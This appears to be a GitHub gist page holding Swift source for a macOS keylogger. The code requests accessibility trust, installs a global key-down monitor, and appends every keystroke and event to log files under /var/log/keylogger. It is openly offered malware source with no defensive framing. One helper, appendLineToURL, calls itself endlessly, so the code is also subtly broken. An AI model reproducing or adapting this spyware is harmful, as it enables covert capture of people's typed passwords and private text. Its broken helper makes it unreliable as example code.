Skip to content

Instantly share code, notes, and snippets.

@abiosoft
Forked from TyrfingMjolnir/keylogger.swift
Created November 10, 2020 05:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abiosoft/b78c9607a08a0cd4dd9ff14ba372cbb3 to your computer and use it in GitHub Desktop.
Save abiosoft/b78c9607a08a0cd4dd9ff14ba372cbb3 to your computer and use it in GitHub Desktop.
//
// AppDelegate.swift
// test
//
// Created by IOANNIS DELIGIANNIS on 1/2/16.
// Copyright © 2016 IOANNIS DELIGIANNIS. All rights reserved.
//
import Cocoa
extension String {
func appendLineToURL(fileURL: NSURL) throws {
try self.appendLineToURL(fileURL: fileURL)
}
func appendToURL(fileURL: NSURL) throws {
let data = self.data(using: String.Encoding.utf8)!
try data.appendToURL( fileURL: fileURL )
}
}
extension Data {
func appendToURL(fileURL: NSURL) throws {
if let fileHandle = try? FileHandle(forWritingTo: fileURL as URL) {
defer {
fileHandle.closeFile()
}
fileHandle.seekToEndOfFile()
fileHandle.write(self as Data)
} else {
try write(to: fileURL as URL, options: .atomic)
}
}
}
func getDocumentsDirectory() -> NSString {
let paths = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)
let documentsDirectory = paths[0]
return documentsDirectory as NSString
}
func acquirePrivileges() -> Bool {
let accessEnabled = AXIsProcessTrustedWithOptions(
[kAXTrustedCheckOptionPrompt.takeUnretainedValue() as String: true] as CFDictionary)
if accessEnabled != true {
print("You need to enable the keylogger in the System Prefrences")
}
return accessEnabled == true;
}
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
func applicationDidFinishLaunching(aNotification: NSNotification) {
// Insert code here to initialize your application
acquirePrivileges();
// keyboard listeners
NSEvent.addGlobalMonitorForEvents(
matching: NSEventMask.keyDown, handler: {(event: NSEvent) in
print(String(event.characters!) as Any)
do {
let url = NSURL(fileURLWithPath: "/var/log/keylogger/keys.txt")
try String(event.characters!).appendToURL(fileURL: url)
} catch {
print("Could not write to file")
} do {
let url = NSURL(fileURLWithPath: "/var/log/keylogger/events.txt")
try String(describing: event).appendLineToURL(fileURL: url)
}
catch {
print("Could not write to file")
}
}
)
}
func applicationWillTerminate(aNotification: NSNotification) {
// Insert code here to tear down your application
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment